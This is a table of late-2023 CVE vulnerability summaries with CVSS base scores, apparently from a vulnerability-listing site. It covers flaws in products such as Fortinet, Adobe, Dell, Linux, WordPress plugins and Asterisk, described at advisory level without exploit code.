CVE-2023-44251	** UNSUPPORTED WHEN ASSIGNED **A improper limitation of a pathname to a restricted directory ('path traversal') vulnerability [CWE-22] in Fortinet FortiWAN version 5.2.0 through 5.2.1 and version 5.1.1. through 5.1.2 may allow an authenticated attacker to read and delete arbitrary file of the system via crafted HTTP or HTTPs requests.	8.3	More Details
CVE-2022-27488	A cross-site request forgery (CSRF) in Fortinet FortiVoiceEnterprise version 6.4.x, 6.0.x, FortiSwitch version 7.0.0 through 7.0.4, 6.4.0 through 6.4.10, 6.2.0 through 6.2.7, 6.0.x, FortiMail version 7.0.0 through 7.0.3, 6.4.0 through 6.4.6, 6.2.x, 6.0.x FortiRecorder version 6.4.0 through 6.4.2, 6.0.x, 2.7.x, 2.6.x, FortiNDR version 1.x.x allows a remote unauthenticated attacker to execute commands on the CLI via tricking an authenticated administrator to execute malicious GET requests.	8.3	More Details
CVE-2023-6721	An XEE vulnerability has been found in Repox, which allows a remote attacker to interfere with the application's XML data processing in the fileupload function, resulting in interaction between the attacker and the server's file system.	8.3	More Details
CVE-2023-34027	Deserialization of Untrusted Data vulnerability in Rajnish Arora Recently Viewed Products.This issue affects Recently Viewed Products: from n/a through 1.0.0.	8.3	More Details
CVE-2023-37390	Deserialization of Untrusted Data vulnerability in Themesflat Themesflat Addons For Elementor.This issue affects Themesflat Addons For Elementor: from n/a through 2.0.0.	8.3	More Details
CVE-2023-5629	A CWE-601:URL Redirection to Untrusted Site (‘Open Redirect’) vulnerability exists that could cause disclosure of information through phishing attempts over HTTP.	8.2	More Details
CVE-2023-41314	The api /api/snapshot and /api/get_log_file would allow unauthenticated access. It could allow a DoS attack or get arbitrary files from FE node. Please upgrade to 2.0.3 to fix these issues.	8.2	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48668	Dell PowerProtect DD, versions prior to 7.13.0.10, LTS 7.7.5.25, LTS 7.10.1.15, 6.2.1.110 on DDMC contain an OS command injection vulnerability in an admin operation. A local high privileged attacker could potentially exploit this vulnerability, leading to the execution of arbitrary OS commands on the managed system application's underlying OS with the privileges of the vulnerable application. Exploitation may lead to a system take over by an attacker on a managed system of DDMC.	8.2	More Details
CVE-2023-49938	An issue was discovered in SchedMD Slurm 22.05.x and 23.02.x. There is Incorrect Access Control: an attacker can modified their extended group list that is used with the sbcast subsystem, and open files with an unauthorized set of extended groups. The fixed versions are 22.05.11 and 23.02.7.	8.2	More Details
CVE-2023-6569	External Control of File Name or Path in h2oai/h2o-3	8.2	More Details
CVE-2023-6831	Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.9.2.	8.1	More Details
CVE-2023-50764	Jenkins Scriptler Plugin 342.v6a_89fd40f466 and earlier does not restrict a file name query parameter in an HTTP endpoint, allowing attackers with Scriptler/Configure permission to delete arbitrary files on the Jenkins controller file system.	8.1	More Details
CVE-2023-47619	Audiobookshelf is a self-hosted audiobook and podcast server. In versions 2.4.3 and prior, users with the update permission are able to read arbitrary files, delete arbitrary files and send a GET request to arbitrary URLs and read the response. This issue may lead to Information Disclosure. As of time of publication, no patches are available.	8.1	More Details
CVE-2023-47320	Silverpeas Core 6.3.1 is vulnerable to Incorrect Access Control. An attacker with low privileges is able to execute the administrator-only function of putting the application in "Maintenance Mode" due to broken access control. This makes the application unavailable to all users. This affects Silverpeas Core 6.3.1 and below.	8.1	More Details
CVE-2023-6572	Command Injection in GitHub repository gradio-app/gradio prior to main.	8.1	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-6913	A session hijacking vulnerability has been detected in the Imou Life application affecting version 6.7.0. This vulnerability could allow an attacker to hijack user accounts due to the QR code functionality not properly filtering codes when scanning a new device and directly running WebView without prompting or displaying it to the user. This vulnerability could trigger phishing attacks.	8.1	More Details
CVE-2023-43870	When installing the Net2 software a root certificate is installed into the trusted store. A potential hacker could access the installer batch file or reverse engineer the source code to gain access to the root certificate password. Using the root certificate and password they could then create their own certificates to emulate another site. Then by establishing a proxy service to emulate the site they could monitor traffic passed between the end user and the site allowing access to the data content.	8.1	More Details
CVE-2023-50774	A cross-site request forgery (CSRF) vulnerability in Jenkins HTMLResource Plugin 1.02 and earlier allows attackers to delete arbitrary files on the Jenkins controller file system.	8.1	More Details
CVE-2023-46671	An issue was discovered by Elastic whereby sensitive information may be recorded in Kibana logs in the event of an error. Elastic has released Kibana 8.11.1 which resolves this issue. The error message recorded in the log may contain account credentials for the kibana_system user, API Keys, and credentials of Kibana end-users. The issue occurs infrequently, only if an error is returned from an Elasticsearch cluster, in cases where there is user interaction and an unhealthy cluster (for example, when returning circuit breaker or no shard exceptions).	8.0	More Details
CVE-2023-46675	An issue was discovered by Elastic whereby sensitive information may be recorded in Kibana logs in the event of an error or in the event where debug level logging is enabled in Kibana. Elastic has released Kibana 8.11.2 which resolves this issue. The messages recorded in the log may contain Account credentials for the kibana_system user, API Keys, and credentials of Kibana end-users, Elastic Security package policy objects which can contain private keys, bearer token, and sessions of 3rd-party integrations and finally Authorization headers, client secrets, local file paths, and stack traces. The issue may occur in any Kibana instance running an affected version that could potentially receive an unexpected error when communicating to Elasticsearch causing it to include sensitive data into Kibana error logs. It could also occur under specific circumstances when debug level logging is enabled in Kibana. Note: It was found that the fix for ESA-2023-25 in Kibana 8.11.1 for a similar issue was incomplete.	8.0	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-47075	Adobe Illustrator versions 28.0 (and earlier) and 27.9 (and earlier) are affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	7.8	More Details
CVE-2023-47074	Adobe Illustrator versions 28.0 (and earlier) and 27.9 (and earlier) are affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	7.8	More Details
CVE-2023-44277	Dell PowerProtect DD, versions prior to 7.13.0.10, LTS 7.7.5.25, LTS 7.10.1.15, 6.2.1.110 contain an OS command injection vulnerability in the CLI. A local low privileged attacker could potentially exploit this vulnerability, leading to the execution of arbitrary OS commands on the application's underlying OS, with the privileges of the vulnerable application. Exploitation may lead to a system take over by an attacker.	7.8	More Details
CVE-2023-49147	An issue was discovered in PDF24 Creator 11.14.0. The configuration of the msi installer file was found to produce a visible cmd.exe window when using the repair function of msiexec.exe. This allows an unprivileged local attacker to use a chain of actions (e.g., an oplock on faxPrnInst.log) to open a SYSTEM cmd.exe.	7.8	More Details
CVE-2023-41720	A vulnerability exists on all versions of Ivanti Connect Secure below 22.6R2 where an attacker with a foothold on an Ivanti Connect Secure (ICS) appliance can escalate their privileges by exploiting a vulnerable installed application. This vulnerability allows the attacker to gain elevated execution privileges on the affected system.	7.8	More Details
CVE-2023-44285	Dell PowerProtect DD, versions prior to 7.13.0.10, LTS 7.7.5.25, LTS 7.10.1.15, 6.2.1.110 contain an improper access control vulnerability. A local malicious user with low privileges could potentially exploit this vulnerability leading to escalation of privilege.	7.8	More Details
CVE-2023-6817	A use-after-free vulnerability in the Linux kernel's netfilter: nf_tables component can be exploited to achieve local privilege escalation. The function nft_pipapo_walk did not skip inactive elements during set walk which could lead double deactivations of PIPAPO (Pile Packet Policies) elements, leading to use-after-free. We recommend upgrading past commit 317eb9685095678f2c9f5a8189de698c5354316a.	7.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48632	Adobe After Effects versions 24.0.3 (and earlier) and 23.6.0 (and earlier) are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	7.8	More Details
CVE-2023-6314	Stack-based buffer overflow in FPWin Pro version 7.7.0.0 and all previous versions may allow attackers to execute arbitrary code via a specially crafted project file.	7.8	More Details
CVE-2023-48625	Adobe Substance 3D Sampler versions 4.2.1 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	7.8	More Details
CVE-2023-48626	Adobe Substance 3D Sampler versions 4.2.1 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	7.8	More Details
CVE-2023-48627	Adobe Substance 3D Sampler versions 4.2.1 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	7.8	More Details
CVE-2023-48628	Adobe Substance 3D Sampler versions 4.2.1 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	7.8	More Details
CVE-2023-48629	Adobe Substance 3D Sampler versions 4.2.1 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	7.8	More Details
CVE-2023-48630	Adobe Substance 3D Sampler versions 4.2.1 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	7.8	More Details
CVE-2023-48633	Adobe After Effects versions 24.0.3 (and earlier) and 23.6.0 (and earlier) are affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	7.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48634	Adobe After Effects versions 24.0.3 (and earlier) and 23.6.0 (and earlier) are affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	7.8	More Details
CVE-2023-6691	Cambium ePMP Force 300-25 version 4.7.0.1 is vulnerable to a code injection vulnerability that could allow an attacker to perform remote code execution and gain root privileges.	7.8	More Details
CVE-2023-6377	A flaw was found in xorg-server. Querying or changing XKB button actions such as moving from a touchpad to a mouse can result in out-of-bounds memory reads and writes. This may allow local privilege escalation or possible remote code execution in cases where X11 forwarding is involved.	7.8	More Details
CVE-2022-22942	The vmwgfx driver contains a local privilege escalation vulnerability that allows unprivileged users to gain access to files opened by other processes on the system through a dangling 'file' pointer.	7.8	More Details
CVE-2023-47063	Adobe Illustrator versions 28.0 (and earlier) and 27.9 (and earlier) are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	7.8	More Details
CVE-2023-6315	Out-of-bouds read vulnerability in FPWin Pro version 7.7.0.0 and all previous versions may allow attackers to execute arbitrary code via a specially crafted project file.	7.8	More Details
CVE-2023-6931	A heap out-of-bounds write vulnerability in the Linux kernel's Performance Events system component can be exploited to achieve local privilege escalation. A perf_event's read_size can overflow, leading to an heap out-of-bounds increment or write in perf_read_group(). We recommend upgrading past commit 382c27f4ed28f803b1f1473ac2d8db0afc795a1b.	7.8	More Details
CVE-2023-48639	Adobe Substance 3D Designer versions 13.0.0 (and earlier) and 13.1.0 (and earlier) are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.	7.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-6932	A use-after-free vulnerability in the Linux kernel's ipv4: igmp component can be exploited to achieve local privilege escalation. A race condition can be exploited to cause a timer be mistakenly registered on a RCU read locked object which is freed by another thread. We recommend upgrading past commit e2b706c691905fe78468c361aaabc719d0a496f1.	7.8	More Details
CVE-2023-6563	An unconstrained memory consumption vulnerability was discovered in Keycloak. It can be triggered in environments which have millions of offline tokens (> 500,000 users with each having at least 2 saved sessions). If an attacker creates two or more user sessions and then open the "consents" tab of the admin User Interface, the UI attempts to load a huge number of offline client sessions leading to excessive memory and CPU consumption which could potentially crash the entire system.	7.7	More Details
CVE-2023-49734	An authenticated Gamma user has the ability to create a dashboard and add charts to it, this user would automatically become one of the owners of the charts allowing him to incorrectly have write permissions to these charts.This issue affects Apache Superset: before 2.1.2, from 3.0.0 before 3.0.2. Users are recommended to upgrade to version 3.0.2 or 2.1.3, which fixes the issue.	7.7	More Details
CVE-2023-6364	In WhatsUp Gold versions released before 2023.1, a stored cross-site scripting (XSS) vulnerability has been identified. It is possible for an attacker to craft a XSS payload and store that value within a dashboard component. If a WhatsUp Gold user interacts with the crafted payload, the attacker would be able to execute malicious JavaScript within the context of the victims browser.	7.6	More Details
CVE-2023-48327	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WC Vendors WC Vendors – WooCommerce Multi-Vendor, WooCommerce Marketplace, Product Vendors.This issue affects WC Vendors – WooCommerce Multi-Vendor, WooCommerce Marketplace, Product Vendors: from n/a through 2.4.7.	7.6	More Details
CVE-2023-6366	In WhatsUp Gold versions released before 2023.1, a stored cross-site scripting (XSS) vulnerability has been identified. It is possible for an attacker to craft a XSS payload and store that value within Alert Center. If a WhatsUp Gold user interacts with the crafted payload, the attacker would be able to execute malicious JavaScript within the context of the victims browser.	7.6	More Details
CVE-2023-4320	An arithmetic overflow flaw was found in Satellite when creating a new personal access token. This flaw allows an attacker who uses this arithmetic overflow to create personal access tokens that are valid indefinitely, resulting in damage to the system's integrity.	7.6	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-6365	In WhatsUp Gold versions released before 2023.1, a stored cross-site scripting (XSS) vulnerability has been identified. It is possible for an attacker to craft a XSS payload and store that value within a device group. If a WhatsUp Gold user interacts with the crafted payload, the attacker would be able to execute malicious JavaScript within the context of the victims browser.	7.6	More Details
CVE-2023-48764	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in GuardGiant Brute Force Protection WordPress Brute Force Protection – Stop Brute Force Attacks.This issue affects WordPress Brute Force Protection – Stop Brute Force Attacks: from n/a through 2.2.5.	7.6	More Details
CVE-2023-6367	In WhatsUp Gold versions released before 2023.1, a stored cross-site scripting (XSS) vulnerability has been identified. It is possible for an attacker to craft a XSS payload and store that value within Roles. If a WhatsUp Gold user interacts with the crafted payload, the attacker would be able to execute malicious JavaScript within the context of the victims browser.	7.6	More Details
CVE-2023-42801	Moonlight-common-c contains the core GameStream client code shared between Moonlight clients. Moonlight-common-c is vulnerable to buffer overflow starting in commit f57bd745b4cbed577ea654fad4701bea4d38b44c. A malicious game streaming server could exploit a buffer overflow vulnerability to crash a moonlight client. Achieving RCE is possible but unlikely, due to stack canaries in use by modern compiler toolchains. The published binaries for official clients Qt, Android, iOS/tvOS, and Embedded are built with stack canaries, but some unofficial clients may not use stack canaries. This vulnerability takes place after the pairing process, so it requires the client to be tricked into pairing to a malicious host. It is not possible to perform using a man-in-the-middle due to public key pinning that takes place during the pairing process. The bug was addressed in commit b2497a3918a6d79808d9fd0c04734786e70d5954.	7.6	More Details
CVE-2023-49764	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Younes JFR. Advanced Database Cleaner.This issue affects Advanced Database Cleaner: from n/a through 3.1.2.	7.6	More Details
CVE-2023-6478	A flaw was found in xorg-server. A specially crafted request to RRChangeProviderProperty or RRChangeOutputProperty can trigger an integer overflow which may lead to a disclosure of sensitive information.	7.6	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-34168	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Alex Raven WP Report Post allows SQL Injection.This issue affects WP Report Post: from n/a through 2.1.2.	7.6	More Details
CVE-2023-47506	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Master slider Master Slider Pro allows SQL Injection.This issue affects Master Slider Pro: from n/a through 3.6.5.	7.6	More Details
CVE-2023-47530	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WPVibes Redirect 404 Error Page to Homepage or Custom Page with Logs allows SQL Injection.This issue affects Redirect 404 Error Page to Homepage or Custom Page with Logs: from n/a through 1.8.7.	7.6	More Details
CVE-2023-47558	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Mahlamusa Who Hit The Page – Hit Counter allows SQL Injection.This issue affects Who Hit The Page – Hit Counter: from n/a through 1.4.14.3.	7.6	More Details
CVE-2023-48741	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in QuantumCloud AI ChatBot.This issue affects AI ChatBot: from n/a through 4.7.8.	7.6	More Details
CVE-2023-6203	The Events Calendar WordPress plugin before 6.2.8.1 discloses the content of password protected posts to unauthenticated users via a crafted request	7.5	More Details
CVE-2023-48671	Dell vApp Manager, versions prior to 9.2.4.x contain an information disclosure vulnerability. A remote attacker could potentially exploit this vulnerability leading to obtain sensitive information that may aid in further attacks.	7.5	More Details
CVE-2023-5592	Download of Code Without Integrity Check vulnerability in PHOENIX CONTACT MULTIPROG, PHOENIX CONTACT ProConOS eCLR (SDK) allows an unauthenticated remote attacker to download and execute applications without integrity checks on the device which may result in a complete loss of integrity.	7.5	More Details
CVE-2023-6595	In WhatsUp Gold versions released before 2023.1, an API endpoint was found to be missing an authentication mechanism. It is possible for an unauthenticated attacker to enumerate ancillary credential information stored within WhatsUp Gold.	7.5	More Details
CVE-2023-49819	Deserialization of Untrusted Data vulnerability in Gordon Böhme, Antonio Leutsch Structured Content (JSON-LD) #wpsc.This issue affects Structured Content (JSON-LD) #wpsc: from n/a through 1.5.3.	7.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-24590	A format string issue in the Controller 6000's optional diagnostic web interface can be used to write/read from memory, and in some instances crash the Controller 6000 leading to a Denial of Service. This issue affects: Gallagher Controller 6000 8.60 prior to vCR8.60.231116a (distributed in 8.60.2550 (MR7)), all versions of 8.50 and prior.	7.5	More Details
CVE-2023-48660	Dell vApp Manger, versions prior to 9.2.4.x contain an arbitrary file read vulnerability. A remote attacker could potentially exploit this vulnerability to read arbitrary files from the target system.	7.5	More Details
CVE-2023-46143	Download of Code Without Integrity Check vulnerability in PHOENIX CONTACT classic line PLCs allows an unauthenticated remote attacker to modify some or all applications on a PLC.	7.5	More Details
CVE-2023-32230	An improper handling of a malformed API request to an API server in Bosch BT software products can allow an unauthenticated attacker to cause a Denial of Service (DoS) situation.	7.5	More Details
CVE-2023-50472	cJSON v1.7.16 was discovered to contain a segmentation violation via the function cJSON_SetValuestring at cJSON.c.	7.5	More Details
CVE-2023-41151	An uncaught exception issue discovered in Softing OPC UA C++ SDK before 6.30 for Windows operating system may cause the application to crash when the server wants to send an error packet, while socket is blocked on writing.	7.5	More Details
CVE-2023-4694	Certain HP OfficeJet Pro printers are potentially vulnerable to a Denial of Service when sending a SOAP message to the service on TCP port 3911 that contains a body but no header.	7.5	More Details
CVE-2023-6909	Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.9.2.	7.5	More Details
CVE-2023-50981	ModularSquareRoot in Crypto++ (aka cryptopp) through 8.9.0 allows attackers to cause a denial of service (infinite loop) via crafted DER public-key data associated with squared odd numbers, such as the square of 26899513751389043243438977312861650485 3.	7.5	More Details
CVE-2023-50980	gf2n.cpp in Crypto++ (aka cryptopp) through 8.9.0 allows attackers to cause a denial of service (application crash) via DER public-key data for an F(2^m) curve, if the degree of each term in the polynomial is not strictly decreasing.	7.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-49936	An issue was discovered in SchedMD Slurm 22.05.x, 23.02.x, and 23.11.x. A NULL pointer dereference leads to denial of service. The fixed versions are 22.05.11, 23.02.7, and 23.11.1.	7.5	More Details
CVE-2023-50784	A buffer overflow in websockets in UnrealIRCd 6.1.0 through 6.1.3 before 6.1.4 allows an unauthenticated remote attacker to crash the server by sending an oversized packet (if a websocket port is open). Remote code execution might be possible on some uncommon, older platforms.	7.5	More Details
CVE-2023-6559	The MW WP Form plugin for WordPress is vulnerable to arbitrary file deletion in all versions up to, and including, 5.0.3. This is due to the plugin not properly validating the path of an uploaded file prior to deleting it. This makes it possible for unauthenticated attackers to delete arbitrary files, including the wp-config.php file, which can make site takeover and remote code execution possible.	7.5	More Details
CVE-2023-39340	A vulnerability exists on all versions of Ivanti Connect Secure below 22.6R2 where an attacker can send a specific request which may lead to Denial of Service (DoS) of the appliance.	7.5	More Details
CVE-2021-42797	Path traversal vulnerability in AVEVA Edge (formerly InduSoft Web Studio) versions R2020 and prior allows an unauthenticated user to steal the Windows access token of the user account configured for accessing external DB resources.	7.5	More Details
CVE-2020-17483	An improper access control vulnerability exists in Uffizio's GPS Tracker all versions that lead to sensitive information disclosure of all the connected devices. By visiting the vulnerable host at port 9000, we see it responds with a JSON body that has all the details about the devices which have been deployed.	7.5	More Details
CVE-2023-50265	Bazarr manages and downloads subtitles. Prior to 1.3.1, the /api/swaggerui/static endpoint in bazarr/app/ui.py does not validate the user-controlled filename variable and uses it in the send_file function, which leads to an arbitrary file read on the system. This issue is fixed in version 1.3.1.	7.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-50719	XWiki Platform is a generic wiki platform. Starting in 7.2-milestone-2 and prior to versions 14.10.15, 15.5.2, and 15.7-rc-1, the Solr-based search in XWiki discloses the password hashes of all users to anyone with view right on the respective user profiles. By default, all user profiles are public. This vulnerability also affects any configurations used by extensions that contain passwords like API keys that are viewable for the attacker. Normally, such passwords aren't accessible but this vulnerability would disclose them as plain text. This has been patched in XWiki 14.10.15, 15.5.2 and 15.7RC1. There are no known workarounds for this vulnerability.	7.5	More Details
CVE-2023-33217	By abusing a design flaw in the firmware upgrade mechanism of the impacted terminal it's possible to cause a permanent denial of service for the terminal. the only way to recover the terminal is by sending back the terminal to the manufacturer	7.5	More Details
CVE-2023-46262	An unauthenticated attacked could send a specifically crafted web request causing a Server-Side Request Forgery (SSRF) in Ivanti Avalanche Remote Control server.	7.5	More Details
CVE-2023-46803	An attacker sending specially crafted data packets to the Mobile Device Server can cause memory corruption which could result to a Denial of Service (DoS).	7.5	More Details
CVE-2023-48389	Multisuns EasyLog web+ has a path traversal vulnerability within its parameter in a specific URL. An unauthenticated remote attacker can exploit this vulnerability to bypass authentication and download arbitrary system files.	7.5	More Details
CVE-2023-6827	The Essential Real Estate plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation on the 'ajaxUploadFonts' function in versions up to, and including, 4.3.5. This makes it possible for authenticated attackers with subscriber-level capabilities or above, to upload arbitrary files on the affected site's server which may make remote code execution possible.	7.5	More Details
CVE-2023-48378	Softnext Mail SQR Expert has a path traversal vulnerability within its parameter in a specific URL. An unauthenticated remote attacker can exploit this vulnerability to bypass authentication and download arbitrary system files.	7.5	More Details
CVE-2023-46804	An attacker sending specially crafted data packets to the Mobile Device Server can cause memory corruption which could result to a Denial of Service (DoS).	7.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-48373	ITPison OMICARD EDM has a path traversal vulnerability within its parameter “FileName” in a specific function. An unauthenticated remote attacker can exploit this vulnerability to bypass authentication and download arbitrary system files.	7.5	More Details
CVE-2023-50272	A potential security vulnerability has been identified in HPE Integrated Lights-Out 5 (iLO 5) and Integrated Lights-Out 6 (iLO 6). The vulnerability could be remotely exploited to allow authentication bypass.	7.5	More Details
CVE-2023-43826	Apache Guacamole 1.5.3 and older do not consistently ensure that values received from a VNC server will not result in integer overflow. If a user connects to a malicious or compromised VNC server, specially-crafted data could result in memory corruption, possibly allowing arbitrary code to be executed with the privileges of the running guacd process. Users are recommended to upgrade to version 1.5.4, which fixes this issue.	7.5	More Details
CVE-2023-0248	An attacker with physical access to the Kantech Gen1 ioSmart card reader with firmware version prior to 1.07.02 in certain circumstances can recover the reader's communication memory between the card and reader.	7.5	More Details
CVE-2023-3430	A vulnerability was found in OpenImageIO, where a heap buffer overflow exists in the src/gif.imageio/gifinput.cpp file. This flaw allows a remote attacker to pass a specially crafted file to the application, which triggers a heap-based buffer overflow and could cause a crash, leading to a denial of service.	7.5	More Details
CVE-2023-50471	cJSON v1.7.16 was discovered to contain a segmentation violation via the function cJSON_InsertItemInArray at cJSON.c.	7.5	More Details
CVE-2023-49786	Asterisk is an open source private branch exchange and telephony toolkit. In Asterisk prior to versions 18.20.1, 20.5.1, and 21.0.1; as well as certified-asterisk prior to 18.9-cert6; Asterisk is susceptible to a DoS due to a race condition in the hello handshake phase of the DTLS protocol when handling DTLS-SRTP for media setup. This attack can be done continuously, thus denying new DTLS-SRTP encrypted calls during the attack. Abuse of this vulnerability may lead to a massive Denial of Service on vulnerable Asterisk servers for calls that rely on DTLS-SRTP. Commit d7d7764cb07c8a1872804321302ef93bf62cba05 contains a fix, which is part of versions 18.20.1, 20.5.1, 21.0.1, amd 18.9-cert6.	7.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-37457	Asterisk is an open source private branch exchange and telephony toolkit. In Asterisk versions 18.20.0 and prior, 20.5.0 and prior, and 21.0.0; as well as ceritifed-asterisk 18.9-cert5 and prior, the 'update' functionality of the PJSIP_HEADER dialplan function can exceed the available buffer space for storing the new value of a header. By doing so this can overwrite memory or cause a crash. This is not externally exploitable, unless dialplan is explicitly written to update a header based on data from an outside source. If the 'update' functionality is not used the vulnerability does not occur. A patch is available at commit a1ca0268254374b515fa5992f01340f7717113fa.	7.5	More Details
CVE-2023-5949	The SmartCrawl WordPress plugin before 3.8.3 does not prevent unauthorised users from accessing password-protected posts' content.	7.5	More Details
CVE-2023-50264	Bazarr manages and downloads subtitles. Prior to 1.3.1, Bazarr contains an arbitrary file read in /system/backup/download/ endpoint in bazarr/app/ui.py does not validate the user-controlled filename variable and uses it in the send_file function, which leads to an arbitrary file read on the system. This issue is fixed in version 1.3.1.	7.5	More Details
CVE-2023-6929	EuroTel ETL3100 versions v01c01 and v01x37 are vulnerable to insecure direct object references that occur when the application provides direct access to objects based on user-supplied input. As a result of this vulnerability, attackers can bypass authorization, access the hidden resources on the system, and execute privileged functionalities.	7.5	More Details
CVE-2023-49933	An issue was discovered in SchedMD Slurm 22.05.x, 23.02.x, and 23.11.x. There is Improper Enforcement of Message Integrity During Transmission in a Communication Channel. This allows attackers to modify RPC traffic in a way that bypasses message hash checks. The fixed versions are 22.05.11, 23.02.7, and 23.11.1.	7.5	More Details
CVE-2023-47624	Audiobookshelf is a self-hosted audiobook and podcast server. In versions 2.4.3 and prior, any user (regardless of their permissions) may be able to read files from the local file system due to a path traversal in the `/hls` endpoint. This issue may lead to Information Disclosure. As of time of publication, no patches are available.	7.5	More Details
CVE-2023-34194	StringEqual in TiXmlDeclaration::Parse in tinyxmlparser.cpp in TinyXML through 2.6.2 has a reachable assertion (and application exit) via a crafted XML document with a '\0' located after whitespace.	7.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-47323	The notification/messaging feature of Silverpeas Core 6.3.1 does not enforce access control on the ID parameter. This allows an attacker to read all messages sent between other users; including those sent only to administrators.	7.5	More Details
CVE-2023-46247	Vyper is a Pythonic Smart Contract Language for the Ethereum Virtual Machine (EVM). Contracts containing large arrays might underallocate the number of slots they need by 1. Prior to v0.3.8, the calculation to determine how many slots a storage variable needed used `math.ceil(type_.size_in_bytes / 32)`. The intermediate floating point step can produce a rounding error if there are enough bits set in the IEEE-754 mantissa. Roughly speaking, if `type_.size_in_bytes` is large (> 2**46), and slightly less than a power of 2, the calculation can overestimate how many slots are needed by 1. If `type_.size_in_bytes` is slightly more than a power of 2, the calculation can underestimate how many slots are needed by 1. This issue is patched in version 0.3.8.	7.5	More Details
CVE-2023-6534	In versions of FreeBSD 14.0-RELEASE before 14-RELEASE-p2, FreeBSD 13.2-RELEASE before 13.2-RELEASE-p7 and FreeBSD 12.4-RELEASE before 12.4-RELEASE-p9, the pf(4) packet filter incorrectly validates TCP sequence numbers. This could allow a malicious actor to execute a denial-of-service attack against hosts behind the firewall.	7.5	More Details
CVE-2023-43042	IBM SAN Volume Controller, IBM Storwize, IBM FlashSystem and IBM Storage Virtualize 8.3 products use default passwords for a privileged user. IBM X-Force ID: 266874.	7.5	More Details
CVE-2023-6722	A path traversal vulnerability has been detected in Repox, which allows an attacker to read arbitrary files on the running server, resulting in a disclosure of sensitive information. An attacker could access files such as application code or data, backend credentials, operating system files...	7.5	More Details
CVE-2023-45800	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Hanbiro Hanbiro groupware allows Information Elicitation.This issue affects Hanbiro groupware: from V3.8.79 before V3.8.81.1.	7.5	More Details
CVE-2023-45801	Improper Authentication vulnerability in Nadatel DVR allows Information Elicitation.This issue affects DVR: from 3.0.0 before 9.9.0.	7.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-50444	By default, .ZED containers produced by PRIMX ZED! for Windows before Q.2020.3 (ANSSI qualification submission); ZED! for Windows before Q.2021.2 (ANSSI qualification submission); ZONECENTRAL for Windows before Q.2021.2 (ANSSI qualification submission); ZONECENTRAL for Windows before 2023.5; ZEDMAIL for Windows before 2023.5; and ZED! for Windows, Mac, Linux before 2023.5 include an encrypted version of sensitive user information, which could allow an unauthenticated attacker to obtain it via brute force.	7.5	More Details
CVE-2023-47579	Relyum RELY-PCIe 22.2.1 devices suffer from a system group misconfiguration, allowing read access to the central password hash file of the operating system.	7.5	More Details
CVE-2023-6680	An improper certificate validation issue in Smartcard authentication in GitLab EE affecting all versions from 11.6 prior to 16.4.4, 16.5 prior to 16.5.4, and 16.6 prior to 16.6.2 allows an attacker to authenticate as another user given their public key if they use Smartcard authentication. Smartcard authentication is an experimental feature and has to be manually enabled by an administrator.	7.4	More Details
CVE-2023-45185	IBM i Access Client Solutions 1.1.2 through 1.1.4 and 1.1.4.3 through 1.1.9.3 could allow an attacker to execute remote code. Due to improper authority checks the attacker could perform operations on the PC under the user's authority. IBM X-Force ID: 268273.	7.4	More Details
